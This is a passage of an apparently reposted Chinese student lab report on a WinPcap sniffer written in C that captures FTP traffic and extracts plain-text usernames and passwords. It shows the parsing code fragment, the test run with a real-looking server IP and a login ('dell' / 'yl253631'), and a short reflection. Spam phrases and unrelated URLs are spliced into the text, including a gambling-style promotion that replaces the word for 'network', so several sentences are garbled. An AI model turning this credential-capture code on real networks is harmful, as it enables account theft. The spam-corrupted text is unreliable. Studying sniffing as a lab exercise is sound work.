{

user[i]=*pdata;

pdata++;

}

}

//过滤PASSWORD信息

if(*pdata=='P' && *(pdata+1)=='A' && *(pdata+2)=='S' && *(pdata+3)=='S') {

嗅探器 嗅探器的实现

memset(pass,0,sizeof(pass));

pdata+=5;

for(i=0;i<data_len-5;i++)

{

pass[i]=*pdata;

pdata++;

}

}

}

2、实验结果

客户端:

ftp服务器的地址是ftp://222.25.162.196

客户端在浏览器地址栏中输入服务器地址,首先出现如下对话框,客户输入用户名和密码后即可登录。(www.barbed-wire-fence.com)

用户名:dell

密码: yl253631

登录后界面如下,网页上所显示的文件均是ftp服务器上的文件,可以查看和下载。

嗅探器 嗅探器的实现

服务器:

程序运行后的doc界面:

从上图可以看出,本主机有3个申请注册送体验金设备,用户可以选择任何一个监听,现在选择的是第一个申请注册送体验金设备接口进行监听。(www.51jianli.com]随后,嗅探器捕获了30个数据包,并过滤出了用户名和密码,可以看到,与客户端登陆时所用用户名密码相同,表明该程序满足了设计要求。

六、 实验心得

在本次实验中我们通过用C语言编写基于winpcap的简易嗅探器,成功捕获了ftp数据包,过滤出了用户名和密码。

在本次编程过程中,我们遇到了不少困难,也学到了不少知识。首先是刚开始尝试编译老师给的参考代码使发现有错误,后来发现是如果我们要使用winpcap中的各种函数和结构体,就必须在vc环境中进行一些部署。

其次是由于TCP/IP协议的各层数据格式虽然都学习过,但已经有些遗忘了,所以编程的时候我们重新学习了TCP/IP协议的相关知识,也掌握了对各层数据头部地址的计算和提取地址等信息。

此外,我们还学习到了申请注册送体验金字节顺序和本机字节顺序的不同。读取的时候如果不注意,会出现不少混乱。针对这一现象,可以用函数htons()和ntohs()解决。

总之,本次实验不管在理论还是实践上都让我受益颇多,我希望以后能学习更多相关的知识。

上一篇:又是人类惹的祸|星星又惹祸 上一篇:冯梦龙三言|冯梦龙三言全集
与该文相关的文章

温馨提示:如果您对51阅读吧有任何建议,请通过网站联系邮箱向我们反馈,感谢各位的建议与支持!